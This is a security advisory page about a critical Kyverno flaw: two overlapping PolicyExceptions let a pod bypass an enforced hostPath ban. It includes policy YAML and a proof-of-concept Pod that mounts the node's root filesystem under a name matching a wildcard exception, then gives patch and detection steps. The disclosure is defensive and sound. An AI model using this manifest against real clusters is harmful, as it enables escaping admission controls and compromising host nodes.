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CRITICAL severity

Bypassing Kyverno Policies via Double Policy ExceptionsGHSA-gg4x-fgg2-h9w9

CRITICAL

GHSA-gg4x-fgg2-h9w9 is a critical-severity (CVSS 9) CWE-284 vulnerability in github.com/kyverno/kyverno. A fix is available for github.com/kyverno/kyverno — see the affected versions and patch details below.

Also known asBIT-kyverno-2026-84200CVE-2026-84200GO-2026-4285
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-gg4x-fgg2-h9w9.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs20th percentile — riskier than 20% of all scored CVEsHighest risk
0.00%0.26%0.52%0.77%0.3%0.3%0.3%Oct 26Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/kyverno/kyverno

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

If a cluster has a Kyverno policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.

Details

The following policy was applied:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disallow-host-path
  annotations:
    policies.kyverno.io/title: Disallow hostPath
    policies.kyverno.io/category: Pod Security Standards (Baseline)
    policies.kyverno.io/severity: medium
    policies.kyverno.io/subject: Pod,Volume
    kyverno.io/kyverno-version: 1.6.0
    kyverno.io/kubernetes-version: "1.22-1.23"
    policies.kyverno.io/description: >-
      HostPath volumes let Pods use host directories and volumes in containers.
      Using host resources can be used to access shared data or escalate privileges
      and should not be allowed. This policy ensures no hostPath volumes are in use.
spec:
  validationFailureAction: Enforce
  background: true
  rules:
    - name: host-path
      match:
        any:
        - resources:
            kinds:
              - Pod
      validate:
        message: >-
          HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
        pattern:
          spec:
            =(volumes):
              - X(hostPath): "null"

And two exceptions:

apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
  name: disallow-host-path-exception
  namespace: kyverno
spec:
  exceptions:
  - policyName: disallow-host-path
    ruleNames:
    - host-path
  match:
    any:
    - resources:
        kinds:
        - DaemonSet
        - Deployment
        - Job
        - StatefulSet
        - ReplicaSet
        - ReplicationController
        - Pod
        - CronJob
        namespaces:
        - luntry
        - tstkyverno
        - examplens
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
  name: disallow-host-path-exception-names
  namespace: kyverno
spec:
  exceptions:
  - policyName: disallow-host-path
    ruleNames:
    - host-path
  match:
    any:
    - resources:
        kinds:
        - DaemonSet
        - Deployment
        - Job
        - StatefulSet
        - ReplicaSet
        - ReplicationController
        - Pod
        - CronJob
        names:
        - '*haproxy*'
        - '*ingress*'

Trying to apply such a yaml will result in the expected ban:

apiVersion: v1
kind: Pod
metadata:
  name: mtkpi
  labels:
    app: pentest
spec:
  containers:
  - name: mtkpi
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]  
  volumes:
  - name: noderoot
    hostPath:
      path: /
<img width="855" height="483" alt="Снимок экрана 2025-09-04 в 13 35 46" src="https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2" />

However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:

apiVersion: v1
kind: Pod
metadata:
  name: ingress
  labels:
    app: pentest
spec:
  containers:
  - name: mtkpi
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]  
  volumes:
  - name: noderoot
    hostPath:
      path: /
<img width="449" height="386" alt="Снимок экрана 2025-09-04 в 13 37 09" src="https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22" />

It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.

Impact

The security restrictions can be bypassed.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/kyverno/kyverno≥ 1.9.0&&< 1.13.01.13.0go get github.com/kyverno/kyverno@v1.13.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/kyverno/kyverno to 1.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gg4x-fgg2-h9w9 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary If a cluster has a `Kyverno` policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second. ### Details The following policy was applied: ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: disallow-host-path annotations: policies.kyverno.io/title: Disallow hostPath policies.kyverno.io/category: Pod Security Standards (Baseline) policies.kyverno.io/severity: medium policies.kyverno.io/subject: Pod,Volume kyverno.io/kyverno-version: 1.6.0 kyv
O3 Security · Impact-Aware SCA

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Bypassing Kyverno Policies via Double Policy Exceptions